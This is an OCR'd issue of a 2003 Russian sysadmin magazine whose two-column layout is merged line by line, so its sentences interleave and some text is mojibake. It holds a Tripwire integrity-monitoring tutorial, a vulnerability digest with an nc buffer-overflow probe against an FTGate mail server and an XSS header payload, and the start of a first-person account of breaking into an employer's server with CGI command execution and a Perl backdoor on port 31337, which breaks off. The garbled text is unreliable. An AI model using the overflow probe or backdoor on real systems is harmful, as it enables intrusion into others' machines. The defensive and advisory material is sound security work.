CHECKSUM.MD5, либо непосредственно на веб-страни- а, скорее, дополняют другие методы защиты. Причем сред-
це. Такая проверка по алгоритму MD5 хоть как-то гаран- ства, контролирующие состояние файлов, имеют некоторое
тирует, что в файле никаких изменений не произведено, преимущество перед программами, выявляющими вторже-
и перед вами действительно находится оригинал. Узнать ние по наличию определенных сигнатур, хотя ничто не ме-
контрольную сумму скачанного файла очень просто: шает использовать комплексный подход.
Наиболее популярным средством для решения этой за-
$ md5sum mysql-max-3.23.55-unknown-freebsd4.7-i386.tar.gz дачи является утилита Tripwire. Данная утилита доступна
99b543fbe12c2980c66d365ca68e819b
как OpenSource (http://www.tripwire.org/) и как 30-дневная
Теперь, сравнив обе контрольные суммы, можно сде- ознакомительная версия (http://www.tripwire.com/). Скачать
лать вывод. Проверка контрольной суммы должна войти в утилиту можно с сайта http://download.sourceforge.net/
привычку при каждой установке программного обеспече- tripwire/, по последнему адресу дополнительно можно най-
ния. По этой же причине никогда не стоит брать файл с ти документацию tripwire-docs.
первого попавшегося сервера, лучше всего зайти на до- Для FreeBSD проще установить OpenSource Tripwire,
машнюю страницу или специальные сайты, предназначен- воспользовавшись системой портов.
ные для этого: http://rpmfind.net/, http://www.freshports.org/.
И еще один момент, связанный с установкой новой програм- $ cd /usr/ports/security/tripwire
$ make install clean
мы под FreeBSD. Если понадобилась программа, которой
нет в дистрибутиве, или ее новая версия, тогда, несмотря Единственный момент при установке, который может
на то что можно пойти сразу на сайт и скомпилировать ее из вызвать замешательство,– это когда программа спраши-
исходников, советую все же сначала обратиться к дереву вает после просмотра лицензии:
пакаджей или портов. Включение в них утилиты свидетель-
ствует о том, что программа прошла некоторое тестирова- Please type "accept" to indicate your acceptance of this
license agreement. [do not accept]
ние на совместимость и безопасность и не станет, по край-
ней мере, причиной краха системы. В данном случае про- Необходимо напечатать accept, нажатие Enter приве-
верка контрольной суммы происходит автоматически без дет к немедленному выходу из программы установки и ее
вмешательства пользователя. К тому же это самый простой придется повторить.
и безопасный способ установить новое ПО на вашу систе- При компиляции в других системах первоначально не-
му. Бывает, что компиляция с помощью порта, в том числе и обходимо раскомментировать строки в файле <src-root>/
по причине неправильной контрольной суммы, завершает- src/Makefile для переменной SYSPRE в соответствии с ис-
ся с ошибкой. Здесь может помочь обновление дерева пор- пользуемой системой (Linux по умолчанию). Далее сле-
тов. В крайнем случае можно обратиться к человеку, под- дует ввести:
держивающему данный порт (MAINTAINER), за консульта-
цией и помощью. Узнать электронный адрес очень просто. make all
Зайдите в каталог нужного порта и дайте команду:
или
$ more Makefile | grep MAINTAINER
MAINTAINER= anarcat@anarcat.dyndns.org make *_r(d )
Отправьте по этому адресу вывод компилятора и ин-
формацию о системе (uname -a) и не забудьте заранее для установки одной выбранной программы и следо-
поблагодарить за помощь. вать дальнейшим указаниям программы. Установочные
С помощью контрольной суммы можно не только про- скрипты сами создадут ключи и инициируют базу дан-
контролировать устанавливаемые программы. Первое, что ных. После установки при помощи rpm-пакетов следу-
злоумышленник произведет в вашей системе, – это устано- ющим шагом необходимо произвести первоначальную

№6(7), июнь 2003 71


безопасность
инициализацию базы данных. Но для того чтобы не при- Это означает, что в конфигурационном файле занесе-
шлось этого делать дважды, лучше всего сразу отре- на излишняя информация. Желательно тут же подправить,
дактировать файлы конфигурации и политик. Для этого иначе эти сообщения потом постоянно будут вас пресле-
в каталоге /etc/tripwire (/usr/local/etc/tripwire – FreeBSD) довать и дополнительно перегружать лог-файл.
имеются два шаблона в виде текстовых файлов. Затем эта база данных ежедневно сравнивается с теку-
В файле twcfg.txt содержится системно-специфичес- щим состоянием файловой системы, позволяя обнаружить
кая информация о размещении файлов базы данных, ре- добавленные, измененные и удаленные файлы, с выдачей
дактор, используемый по умолчанию, программа и ее па- довольно подробных отчетов. Такое расположение файла
раметры для отправки почты. А в файле twpol.txt – файл удобно при запуске утилиты проверки согласованности фай-
политики, состоящий из серии правил, что должен конт- ловой системы с помощью демона cron, позволяющей пол-
ролировать tripwire, данные для объектов контроля, серь- ностью автоматизировать данный процесс, включая инфор-
езность контролируемого объекта и адрес электронной мирование по указанному электронному адресу о результа-
почты (emailto =) для каждой группы контроля, на кото- тах проверки. Но обнаружив присутствие утилиты при полу-
рый высылается уведомление о нарушении (если требу- чении определенных прав, злоумышленник может заменить
ется указать сразу несколько адресов – все их можно пе- (обновить) базу данных или полностью переустановить
речислить через запятую). Здесь же желательно сменить tripwire (что гораздо проще), и после такой модификации ути-
TEMPDIRECTORY = /tmp на каталог с нормальными пра- лита проверки не заметит подвоха. И вы будете получать по
вами доступа (в /tmp для всех rwx). почте сообщения о том, что с системой все нормально, пока
Чтобы защитить против неправомерной модифика- в один прекрасный день не обнаружите несовпадение па-
ции все важные Tripwire-файлы, они сохранены на диске рольных фраз. Такой вариант также предусмотрен разра-
в закодированной и подписанной форме. Сама база дан- ботчиками, для этого необходимо поместить отформатиро-
ных, политики, конфигурация и опции файла отчета за- ванную дискету в дисковод и присвоить значению перемен-
щищены с El Gamal асимметричной криптографией с сиг- ной TRIPWIRE_FLOPPY= YES с командой make install:
натурой в 1024 бита. El Gamal использует набор ключей
с одним открытым ключом и одним закрытым ключом $ make install TRIPWIRE_FLOPPY= YES
шифрования. В криптографической системе Tripwire два
файла ключей хранят public/private ключевую пару. Фай- чтобы создать резервную базу данных:
лы конфигурации и политики защищаются от записи об-
щим ключом, а сама база данных и отчеты – локаль- $ make floppy
ным ключом. Для чтения достаточно доступного пуб-
личного ключа, для записи требуется частный ключ, за- После этого на дискете окажется все, что необходимо
щищаемый парольной фразой. Поэтому после их ре- для восстановления системы и автономной работы утилит:
дактирования, в соответствии с реальными настройка- копия начальной базы данных системы и дополнительно
ми системы, необходимо запустить скрипт twinstall.sh, утилиты tripwire, twcheck и gunzip и копия файла tw.config.
находящийся в этом же каталоге. Далее программа зап- Хотя есть вероятность, что все это не поместится в 1.44 MB
росит site- и local-фразы (желательно не менее 8 сим- флоппи-диска даже после архивирования, единственным
волов) для генерации соответствующих ключевых пар. выходом будет уменьшить количество объектов базы дан-
После этого в каталоге образуются зашифрованные ных. В любом случае желательно резервировать всю систе-
файлы конфигурации и полиса tw.cfg и tw.pol, а также му на всякий случай и Tripwire в том числе, и периодически
файлы ключей (/etc/tripwire/site.key и /etc/tripwire/host- сверять оригинальную и рабочую базы данных.
local.key). В целях безопасности рекомендуется после Проверить систему можно запустив программу tripwire
окончания процедуры инсталляции удалить файлы шаб- без аргументов (или tripwire --check, кому как нравится),
лонов с данного каталога. при этом программа сравнивает текущее состояние сис-
Далее инициируем базу данных. темы с сохраненным в базе данных и при несоответствии
выдает сообщение, при этом отмечается даже такая мелочь,
# /usr/sbin/tripwire--init как изменение времени модификации программы. Анало-
гично производит ежедневную проверку демон cron посред-
При этом после запроса локального пароля программа ством /etc/cron.daily/tripwire-check. А чтобы не ждать, пока
создает отпечаток важных системных файлов (размер, кон- система все проверит, можно указать опцию --email-report:
трольная сумма, права, время доступа и т. д.), записывает
ее в файл в каталоге /var/lib/tripwire/$(HOSTNAME).twd. Во $ tripwire --check --email-report
время создания базы данных обратите внимание на сооб-
щения об ошибках. Например: и сообщение электронной почты будет послано всем по-
лучателям, указанным в файле политики, используя фор-
### Filename: /bin/ash мат сообщения, определенное в EMAILREPORTLEVEL. Но
### No such file or directory
### Continuing... перед началом эксплуатации желательно проверить ра-
### Warning: File system error. боту электронной почты с помощью команды:
### Filename: /bin/ash.static
### No such file or directory
### Continuing... $ tripwire --test --email user@domain.com

72
безопасность
Если нет необходимости в проверке всей системы, то Для обновления всей системы:
можно сразу указать, какие объекты необходимо проверить.
$ tripwire --update /usr/sbin/sshd
$ tripwire --check object1 object2 object3
А если указать конкректную программу, то обновля-
Все системные файлы разбиты по группам важности, ются сведения только о ней.
что позволяет более гибко строить отчеты, не обращая Программа после проверок создает отчет, по умолчанию
внимания на некритические для системы файлы, и наобо- это файл /var/db/tripwire/report/(HOSTNAME)-$(DATE).twr.
рот. Например, чтобы выполнить проверку для файлов, Файл после создания будет иметь примерно такое назва-
начиная от средней степени важности и выше, можно вве- ние: localhost-20030327-071039.twr
сти такую команду: Но при помощи команды:

# tripwire --check --severity 66 # tripwire --check --twrfile /var/lib/report/myreport.twr

Или используя поверку правил по имени rulename, ко- можно задать свой файл отчетов, что удобно использо-
торые прописаны в файле tw.pol. Например, для провер- вать в самостоятельно написанных скриптах.
ки системных файлов: По умолчанию при генерации отчетов используется
REPORTLEVEL=3 (Concise Report), отражающий довольно
# tripwire --check --rulename "File System and Disk ↵ подробную информацию с выводом ожидаемых и наблюда-
Administraton Programs"
емых значений и прочее, который можно изменить в файле
Конечно же, при необходимости частого использова- tw.cfg. Tripwire позволяет гибко задавать отчеты, в зависи-
ния данного типа проверки желательно длинные имена, мости от необходимости в той или иной информации, для
используемые в файле по умолчанию, заменить на свои, этого на ходу изменяется report_level в пределах от 0 до 4.
покороче. Ключ --interactive позволяет изменить БД в ди-
алоговом режиме. Запускается текстовый редактор при # twprint --print-report --report-level 1 --twrfile ↵
/var/lib/report/report.twr
помощи --visual имя-редактора или прописанный в пере-
менной EDITOR в конфигурационном файле (или пере- При необходимости внесения глобальных изменений
менные окружения VISUAL или EDITOR) и предоставля- всегда можно будет получить расшифрованную копию кон-
ется возможность отредактировать форму изменения БД, фигурационного файла при помощи команды:
в которой каждый заносимый файл надо отметить крес-
тиком в секции Object Summary, при этом запрашивается # twadmin –print-cfgfile > /etc/tripwire/twcfg.txt
парольная фраза.
Конечно же, со временем некоторые утилиты обнов- После внесения необходимых изменений и сохране-
ляются или удаляются и заменяются другими, поэтому с ния зашифрованный файл создается командой:
помощью опции --update можно обновить базу данных:
# twadmin --create-cfgfile --site-keyfile ↵
$tripwire --update /etc/tripwire/site.key /etc/tripwire/twcfg.txt

Уровни отчетов
Уровень 0 удаленных файлов. Секция Object Summary содержит под-
Отчет одной строкой. Появляется всегда в строке Subject робный список файлов, которых затронули изменения.
отчета, высылаемого по e-mail.
TWReport имя-хоста дата-и-время V:число-нарушений Уровень 3
S:макс-уровень A:добавлено R:удалено C:изменено Суммарный отчет, включает список нарушений с указа-
нием имен правил, список добавленных и удаленных фай-
TWReport LIGHTHOUSE 19991021134026 V:45 S:100 A:2 R:1 C:6 лов, ожидаемые и реальные свойства измененных фай-
лов. Также выводит дополнительные подробности.
Уровень 1
Список имен измененных файлов в виде, легко разбира- Уровень 4
емом программой автоматического восстановления или Суммарный отчет, выводящий максимальное количество
подобной. Каждая строка состоит из ключевого слова деталей, список нарушений с указанием имен правил, спи-
(Added, Modified), двоеточия и имени файла. сок добавленных, измененных и удаленных файлов, де-
тальный отчет по каждому добавленному файлу (все свой-
Added: /usr/bin/bash ства), каждому измененному файлу (все проверяемые,
Modified: /usr/bin
ожидаемые и реальные свойства), каждому удаленному
Уровень 2 файлу (все проверяемые и ожидаемые свойства). При
Суммарный отчет, включает список нарушений с указа- этом отличающиеся параметры помечаются звездочкой
нием имен правил, список добавленных, измененных и в начале строки.

№6(7), июнь 2003 73


безопасность
Аналогично при добавлении новых файлов, которые # twprint --print-dbfile > db.txt
вы желаете контролировать, изменении уровня значимо-
сти или удалении старых, при изменении адресов элект- Или для произвольной базы данных:
ронной почты и засорении файла отчетов ложными сооб-
щениями, захочется изменить файл политик. # twprint --print-dbfile --dbfile otherfile.twd > db.txt
Создаем копию файла политик:
Аналогично для файла с отчетом:
# twadmin --print-polfile > /etc/tripwire/twpol.txt
# twprint --print-report --twrfile èìÿ-ôàéëà-ñ-îò÷åòîì
И после внесения необходимых изменений модифи-
цируем политики: В комплекте пакета имеется вспомогательная програм-
ма, вычисляющая контрольную сумму методами CRC-32,
# tripwire --update-policy /etc/tripwire/twpol.txt MD5, HAVAL и SHA в реализации tripwire, что позволяет
сравнить производительность различных методов:
Ключевые site- и local-файлы образуются во время пер-
вого запуска, но иногда возникает необходимость в их пол- # /usr/sbin/siggen /var/lib/tripwire/localhost.twd
----------------------------------------------------------
ной замене. Парольная фраза меняется только одновремен- Signatures for file: /var/lib/tripwire/localhost.twd
но со сменой ключей, поэтому чтобы сменить парольную
CRC32 BVr6P8
фразу, надо предварительно дешифровать все файлы, сге- MD5 CyDxlDF7Mnuz3njdkViXBB
нерировать новые ключи, затем уже зашифровать файлы с SHA OQlEAmFhfbcDp8ExomcqkJ8HGNS
HAVAL BIR2NV6sOozXF9X92hqkyA
новыми ключевыми данными. При этом, если забудете па- ----------------------------------------------------------
рольную фразу или удалите файлы с ключами, то зашифро-
ванные файлы, т.е. конфигурация, политики, база данных и Конечно, нельзя говорить, что использование Tripwire яв-
отчеты при их шифровании будут недоступны. В этом слу- ляется панацеей от всех бед, но использование данной ути-
чае лучшим решением будет переустановка всей системы. литы может существенно усложнить жизнь тем, кому хочет-
И кстати, шифровка также не помешает хакеру при нали- ся покопаться в чужом компьютере и подать предупрежда-
чии определенных прав просто удалить любой файл, вклю- ющий знак системному администратору, когда такой момент
чая саму базу данных tripwire, поэтому использование tripwire наступит. В следующий раз рассмотрим еще некоторые ути-
не отменяет обязательности резервного копирования. литы, позволяющие повысить защищенность системы.
Узнать, какой ключ был использован (и был ли вооб-
ще) для шифровки файла можно при помощи: Формат конфигурационного файла
настроек /etc/tripwire/tw.cfg (twcfg.txt)
# twadmin --examine file1 file2 Содержит пути к вспомогательным программам, адрес
электронной почты, каталоги для размещения конфигу-
Убрать шифровку ( при этом запрашивается парольная рационных файлов Tripwire. Файл структурирован как спи-
фраза, сам файл остается в двоичном формате): сок пар имя_переменной = значение. Любая строка, на-
чинающаяся с #, считается комментарием. При этом в
# twadmin --remove-encryption file1 file2 файле могут быть определены переменные, к которым
можно обращаться как $(имя_переменной). Две перемен-
Затем создание нового ключа: ные предопределены и не могут быть изменены:
 HOSTNAME – простое имя хоста;
# twadmin --generate-keys --local-keyfile ↵
/etc/tripwire/localkey.key
 DATE – представление времени в формате 20030427-
111033.
или
Обязательные переменные:
# twadmin --generate-keys --site-keyfile ↵
/etc/tripwire/sitekey.key
 POLFILE = /etc/tripwire/tw.pol (имя файла политик);
 DBFILE = /var/lib/tripwire/$(HOSTNAME).twd (имя фай-
И шифрование файла: ла с базой данных);
 REPORTFILE = /var/lib/tripwire/report/$(HOSTNAME)-
# twadmin --encrypt --local-keyfile ↵ $(DATE).twr (шаблон имен файлов с отчетами);
/etc/tripwire/localkey.keyfile1 file2
 SITEKEYFILE = /etc/tripwire/site.key (общий ключ);
или  LOCALKEYFILE = /etc/tripwire/$(HOSTNAME)-local.key
(локальный ключ).
# twadmin --encrypt --site-keyfile ↵
/etc/tripwire/sitekey.key file1 file2
Опциональные переменные:
База данных хранится в закодированной двоичной форме,  EDITOR = /bin/vi (имя текстового редактора, использу-
чтобы распечатать ее в виде текстового файла, можно вос- емого в интерактивном режиме; если он неопределен,
пользоваться дополнительной утилитой, входящей в комп- будет использована программа, прописанная в систем-
лект twprint. При использовании базы данных по умолчанию: ной переменной $VISUAL или $EDITOR);

74
безопасность
 TEMPDIRECTORY = /tmp (каталог для хранения вре- вила нужно определить отдельно. Как и в конфигураци-
менных файлов); онном файле, возможно использование комментариев и
 LATEPROMPTING = false (откладывать запрос па- переменных. Кроме проверяемых объектов, могут допол-
рольной фразы до последнего, чтобы пароль меньше нительно указываться игнорируемые, что позволяет ис-
находился в системной памяти); ключить «лишние» файлы.
 SYSLOGREPORTING = true (выдавать на syslog уров-
ни «user» и «notice» – сообщения о создании базы дан- object name -> property_mask [attribute=value …];
! object name;
ных, проверках, изменениях базы данных и политики,
с уровенем подробности – 0); При задании имени объекта необходимо помнить, что
 LOOSEDIRECTORYCHECKING = false (при установке пробелы в имени игнорируются, поэтому их требуется зак-
в true не выдает излишние сообщения о изменениях лючить в кавычки. То же касается как самой кавычки, так
atime и mtime для каталогов, в которых был добавлен и всех специальных символов применительно к С++
или удален контролируемый файл; эквивалентно до- (!{}>(),;=$#|\+’ и \n, \t,\v, \b, \r, \f, \a, \\, \?, \’, \"), которые мож-
бавлению -snacmblCMSH для всех каталогов); но экранировать обратной чертой, а также чисел, задан-
 REPORTLEVEL = 3 (уровень подробности отчета по ных в восьмеричной или шеснадцатеричной форме.
умолчанию для twprint). Переменные для настройки Например:
уведомления по e-mail;
 GLOBALEMAIL = (добавить этот список адресов к по- "/te\x73t2"
лучателям отчетов по почте);
 MAILMETHOD = SMTP или SENDMAIL – протокол для Свойства, которые будут проверяться, задаются мас-
передачи почтовых сообщений, используемый tripwire; кой свойств, при этом каждому соответствует своя бук-
 SMTPHOST = (имя домена или IP-адрес сервера SMTP; ва. При отсутствии свойств объект не проверяется. Если
игнорируется, если предыдущая переменная не уста- перед свойством стоит минус «-», то данное свойство иг-
новлена в SMTP); норируется, если плюс «+», то включается проверка дан-
 SMTPPORT = 25 (определяет номер порта, используе- ного свойства. Если знака перед буквой нет, то подразу-
мый с SMTP, игнорируемым, если MAILMETHOD не мевается предыдущий в данном правиле знак или знак
SMTP); плюс при отсутствии знаков. Проверяются следующие
 MAILPROGRAM = /usr/sbin/sendmail -oi -t (Определяет свойства ([+-]*[pinugtsldbamcrCMSH])+:
полный путь к программе, используемой для электрон-  p – права доступа;
ной почты, если MAILMETHOD, если MAILMETHOD ус-  i – inode;
тановлен в SENDMAIL, это может быть любая подоб-  n – число жестких ссылок;
ная программа, удовлетворяющая RFC 822);  u – uid;
 EMAILREPORTLEVEL = 3 (уровень подробности отче-  g – gid;
та для почтовых извещений);  t – тип файла;
 MAILNOVIOLATIONS = false (не посылает письма при  s – размер;
отсутствии нарушений политик, при установке в true  l – ожидается, что файл будет расти; если он умень-
и отсутствии каких-либо нарушений будут приходить шился, то фиксируется нарушение (полезно, например,
сообщения об этом, что рекомендуется для контроля для журналов);
функционирования системы, но увеличивает количе-  d – номер устройства диска, на котором хранится со-
ство писем). ответствующий inode;
 b – число блоков;
Формат конфигурационного  a – время доступа (несовместим с +CMSH, т.к. для вы-
файла политик числения суммы необходимо прочитать файл; доступ
/etc/tripwire/tw.pol (twpol.txt) к содержимому директории меняет время доступа к
Файл политик состоит из серии правил, определяющих ней. Можно избежать recurse = false, LOOSEDIREC-
то, какой реквизит для каждого объекта должен быть со- TORYCHECKING = true и правило -a);
бран и сохранен в файле базы данных. Каждый объект в  m – время модификации;
файле политик связан с маской свойства, которая опи-  c – время создания/модификации inode;
сывает то, что Tripwire должен контролировать, и кото-  r – для файлов устройств номер устройства;
рые могут безопасно игнорироваться. Настраивая раз-  C – контрольная сумма по CRC-32, POSIX 1003.2 (са-
личные аспекты файла политик, администратор систе- мый быстрый, но наименее защищенный вариант из
мы может через Tripwire управлять проверкой целостно- представленных);
сти системы.  M – контрольная сумма по MD5 RSA Data Security;
Основным компонентом файла являются правила  S – контрольная сумма по SHS/SHA-алгоритму;
(rules), в которых определяются проверяемые свойства  H – контрольная сумма по HAVAL.
для каждого объекта. При этом файлы и в каталогах на-
следуют правила родительского каталога, но при усло- Имеет смысл использовать CMSH для файлов пара-
вии, что внутренние каталоги находятся на одном и том ми, а не все четыре сразу, так как определение всех су-
же дисковом устройстве, иначе для всех «выпавших» пра- щественно замедлит производительность.

№6(7), июнь 2003 75


безопасность
Атрибуты правил предназначены для того, чтобы из- ваться в качестве параметров. Обрабатываются следую-
менить их поведение или обеспечить дополнительную ин- щие директивы:
формацию. При этом атрибуты записываются в виде спис-  @@section имя – предназначен в основном для работы
ка имя = значение через запятую и могут применяться к с Windows NT, но для Unix обрабатываются только пра-
отдельному правилу или группе правил. вила в первой секции с именем FS; если секций нет, то
обрабатываются все правила, которые будут интерпре-
/usr/lib -> $(ReadOnly) ( emailto = admin@foo.com ) ; тироваться как правила UNIX, что может создавать про-
блему, если файл политики, разработанный для систем
Группа правил заключается в фигурные скобки. Спи- Windows NT используется с UNIX; в секции GLOBAL оп-
сок атрибутов для группы правил записывается в скоб- ределяются глобальные переменные;
ках перед ней.  @@ifhost имя-хоста { || имя-хоста } – использовать пра-
вила только для указанного хоста (хостов); условия
(attribute = value) могут быть вложенными;
{
rule1;  @@else и @@endif – обработка условных выражений
rule2; вместе с @@ifhost:
...
}
@@ifhost machine1 || machine2
/usr/bin -> +pinug ;
Индивидуальные атрибуты имеют больший приоритет, @@else
чем групповые, за исключением атрибута emailto – в этом /usr/bin -> +pinugsmC ;
@@endif
случае атрибут добавляется. Пример.
 @@print строка в кавычках – вывод на stdout;
(emailto = admin1@foo.com, severity = 90)
{
 @@error строка в кавычках – вывод на stdout и завер-
/etc/dog-> +pingus (severity = 75); шение со статусом 1;
/etc/cat-> $(Dynamic) (emailto = admin2@foo.com);
}
 @@end – любой дальнейший текст в файле игнориру-
ется; не может использоваться внутри группы или ус-
Могут использоваться следующие атрибуты: ловного блока.
 rulename – по умолчанию, простое имя файла; исполь-
зуется в отчетах, для группировки правил, для провер- Для удобства можно определять и использовать в фай-
ки только части правил, желательно для удобства ис- ле политики два типа переменных.
пользовать короткое, но понятное значение; Глобальные переменные имеют видимость всюду в
 emailto – адрес электронной почты, на который по умол- файле политики, в то время как локальные переменные,
чанию высылаются сообщения; чтобы указать несколь- определенные в разделе UNIX файла политики имеют ви-
ко адресов, надо перечислить их через точку с запя- димость только в пределах того раздела.
той и заключить в кавычки; В случае же, где глобальная и локальная перемен-
 severity – определяет уровень серьезности правила (от ные имеют то же самое название, локальная перемен-
0 до 1000000, по умолчанию – 0;) чем больше, тем се- ная будет иметь приоритет в ее разделе, временно мас-
рьезнее; проверку можно запускать только для пра- кируя глобальную переменную. Значение переменной
вил указанного уровня или выше; в командной строке присваивается командой имя_переменной = значение,
могут использоваться ключи: подстановка значения осуществляется конструкцией
 high – уровень 100; $(variable). Первоначально имеются следующие предоп-
 medium – уровень 66; ределенные переменные:
 low – уровень 33.  ReadOnly = +pinugsmtdbCM-raclSH (предполагается,
 recurse – рекурсивная проверка директорий, true (-1) что содержимое файлов не будет изменяться, только
по умолчанию, т.е. полный просмотр, false (0) или на- чтение);
туральное число (максимальный уровень вложеннос-  Dynamic = +pinugtd-rsacmblCMHS (предполагается
ти до 1000000). частое изменение содержимого файлов, например,
/home, /var);
Tripwire поддерживает маленький набор preprocessor-  Growing = +pinugtdl-rsacmbCMSH (предполагается, что
подобных директив, которые группируют правила, обес- файлы будут только расти, например, журналы);
печивают условное выполнение и восполняют некоторую  IgnoreAll = -pinusgamctdrblCMSH (проверяется только
диагностику и действия отладки. Первичное намерение лишь наличие или отсутствие файла, остальное игно-
этого механизма состоит в том, чтобы поддержать разде- рируется);
ление файла политики среди нескольких машин. Дирек-  IgnoreNone = +pinusgamctdrbCMSH-l (включает все име-
тивы имеют следующий синтаксис: ющиеся свойства и предназначен для дальнейшего кон-
струирования собственной маски: $(IGnoreNone)-ar, на-
@@directive [arguments] пример, для предупреждения нарушения времени до-
ступа);
При этом сама директива не может быть получена как  Device = +pugsdr-intlbamcCMSH (для устройств и фай-
значение переменной, но переменные могут использо- лов, которые нельзя открывать).

76
bugtraq
Удаленное переполнение буфера Сообщается, что удаленный пользователь может со-
в командах "Mail From" и "RCPT TO" здать специально сформированный http-запрос, который
в FTGate Pro заставит ISA-сервер сгенерировать страницу ошибки.
Переполнение буфера обнаружено в почтовом сервере Удаленный пользователь может внедрить произвольный
FTGate Pro. Удаленный пользователь может выполнить HTML-код, включая Javascript-код, в HTTP-заголовок 'Via'.
произвольный код на сервере с System-привилегиями. Когда целевой пользователь выполняет HTTP-запрос,
Сообщается, что сервер содержит переполнение бу- страница ошибки ISA-сервера отобразит HTML- или
фера в обработке ESMTP-команд. Уязвимы команды "Mail JavaScript-код, представленный пользователем, будет
From" и "RCPT TO". Удаленный пользователь может по- выполнен в браузере целевого пользователя, в контек-
слать специально обработанные параметры для этих ко- сте безопасности запрашиваемого домена. В результате
манд, чтобы вызвать переполнение буфера. Пример: код может обратиться к куки целевого пользователя.
Пример:
nc warlab.dk 25
220 win2k-serv ESMTP Server FTGate ISA Server: davinci.winmat.com
HELO Foobar Via: <YOUR_CODE_HERE>
250 win2k-serv
Mail From : <aaaaa....[BUFFER about 2000 Bytes @ and 2000
bytes again ending with ".com"] Уязвимость обнаружена в Microsoft ISA Server.
<Connection closed>

Уязвимость обнаружена в FTGate Pro Mail Server 1.22, Переполнение буфера в нескольких
prior to Build 1330. дешифраторах протоколов в Ethereal
Несколько “off-by-one” переполнений буфера и целочис-
Удаленное переполнение буфера ленных переполнений буфера обнаружено в сетевом
и выполнение произвольных сниффере Ethereal. Удаленный пользователь может ава-
SQL-инструкций в Microsoft BizTalk Server рийно завершить работу Ethereal или выполнить произ-
Две уязвимости обнаружены в Microsoft BizTalk Server. вольный код.
Удаленный пользователь может выполнить произвольный Сообщается, что некоторые дешифраторы протоколов
код на сервере. Удаленный пользователь может выпол- в Ethereal небезопасно используют функции
нить произвольные SQL-команды на сервере. tvb_get_nstringz() и tvb_get_nstringz0().
Переполнение буфера обнаружено в BizTalk Server Удаленный пользователь может сконструировать спе-
2002 в ISAPI-фильтре HTTP receiver. Удаленный пользо- циально обработанный пакет, который вызовет однобай-
ватель может представить специально обработанную товое переполнение в дешифраторах AIM, GIOP Gryphon,
HTTP-команду, чтобы переполнить буфер и выполнить OSPF, PPTP, Quake, Quake2, Quake3, Rsync, SMB, SMPP
произвольный код в контексте IIS-процесса. Также уяз- и TSP. Целочисленное переполнение обнаружено в де-
вимость может использоваться для аварийного завер- шифраторах Mount и PPP.
шения работы веб-сервера IIS. HTTP receiver по умол- Уязвимость обнаружена в Ethereal 0.9.11 и более ран-
чанию отключен. них версиях.
Уязвимость в проверке правильности ввода обнару-
жена в BizTalk Server 2000 и 2002 в веб-интерфейсе Определение имен пользователей
Document Tracking и Administration (DTA). Одна из веб-стра- в Microsoft IIS 4.0-6.0
ниц, используемая в веб-интерфейсе DTA, не выполняет Уязвимость раскрытия информации обнаружена в Internet
проверку входных параметров. Удаленный пользователь Information Server (IIS) Authentication Manager, утилите, ис-
может сконструировать URL, содержащий SQL-инструк- пользуемой для изменения паролей пользователей на
ции, который при загрузке DTA-пользователем выполнит системе через веб-интерфейс. Удаленный пользователь
эти SQL-инструкции на целевом сервере с привилегиями может определить существование имени пользователя.
DTA-пользователя. Удаленный пользователь может пред- Удаленный пользователь может запросить изменение
принимать действия на базе данных BizTalk SQL и выпол- пароля для определенного имени пользователя. Если имя
нять команды операционной системы в зависимости от пользователя существует на целевом сервере, целевой
привилегий DTA-пользователя. сервер ответит следующим сообщением:
Уязвимость обнаружена в Microsoft BizTalk Server
2000, 2002. "The specified network password is not correct."

Межсайтовый скриптинг через Если не существует, то следующим:


http-заголовок 'Via'
в Microsoft ISA-сервере "The user name could not be found."
Уязвимость в проверке правильности ввода обнаружена в
Microsoft Internet Security and Acceleration (ISA) Server. Удален- Уязвимость обнаружена в Microsoft IIS 4.0-6.0.
ный пользователь может выполнить XSS-нападение против
пользователей в сети, в которой используется ISA-сервер. На-
падение может быть выполнено против любого домена. Составил Александр Антипов

№6(7), июнь 2003 77


безопасность

ПЕРЕХВАТ SHELL ЧЕРЕЗ

ВИКТОР ИГНАТЬЕВ

Преамбула: эта история ещё 2002 года, но, тем не менее,


данный факт не влияет на саму идею взлома. Этот метод
весьма актуален, особенно на крупных хостингах. Всё ни-
жеописанное было сделано не в одиночку, а с коллегой.
Далее речь пойдёт не об очередном переводе дырки в YaBB В те времена администратор был ещё достаточно щед-
из BugTraq, а об описании некоторых моих идей, и, если рый и реализовал регистрацию пользователей. Каждому
они кому-то ещё приходили в голову, я буду только рад. зарегистрированному пользователю выдавалось:
Итак, действия происходили на главном сервере моей  адрес электронной почты user@cafedra.server.ru;
фирмы, в которой несколько компьютерных классов и  FTP-аккаунт;
одна серверная.  и, самое главное, аккаунт в Apache.

78
безопасность
То есть создав каталог public_html и поместив туда пользовательского. Целью было получить привилегии
index.html, пользователь получал домашнюю страничку «особого» человека и от его имени продолжать дальней-
http://cafedra.server.ru/~user. шие действия.
Это всё, конечно, хорошо, но самого «вкусного» сре-
ди этого списка не было. Я имею в виду shell-доступ. Вме- Часть вторая: внутри
сто него в строчке /etc/passwd значился /bin/false. Это Немного остыв от радости, я решил ощупать объект:
сильно удручало. Так как shell на главном сервере позво-
лил бы делать очень много интересного.
Разумеется, как и везде, у администратора были
сослуживцы и помощники, у которых, конечно, имелся
shell. И как всегда, они не отличались особой просве-
щенностью в вопросах безопасности. Вот как раз из-за
ошибок вышеупомянутых была написана эта статья. У
одного из них, как и у остальных пользователей, был
свой веб-аккаунт http://cafedra.server.ru/~adil. И притом
он его активно пользовал и обновлял. Среди всех ре-
сурсов сайта был форум Yet another Bulletin Board
(YaBB), который пользовался большой популярностью. Теперь я точно знал, с чем имею дело и где нахожусь.
И конечно, привлёк и моё внимание. Поиски дырок в Далее последовал тщательный осмотр директории /etc
самом форуме не увенчались успехом, поэтому при- и всех находящихся в ней файлов. Спустя примерно часа
шлось действовать в обход. 2, я решил посетить /home-директории, в частности ка-
талоги «особенных» пользователей, а конкретнее –
Часть первая: осмотр пользователя adil:
Как я уже сказал, shell не выделялся никому, кроме «осо-
бенных» людей, но perl и cgi-скрипты выдавались всем и
в любом размере. Многие уже поняли, к чему я клоню. А
для тех, кто не в курсе, поясняю, что любой язык програм-
мирования позволяет работать с внешними файлами или
выполнять команды. Не долго думая, я написал test.cgi
следующего содержания у себя в cgi-bin:

test.cgi
backdoor.cgi
#!/usr/bin/perl -w Среди прочего в каталоге cgi-bin была искомая yabb:
print "Content-Type: text/html\n\n";
system("ls > 1.txt");

И в моём каталоге появился файл 1.txt, в котором со-


держался листинг файлов текущей директории.
Не долго думая, я в своих архивах отыскал backdoor
на Perl (backdoor.cgi).

#!/usr/bin/perl –w
use Socket;
$port = 31337;
socket (S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
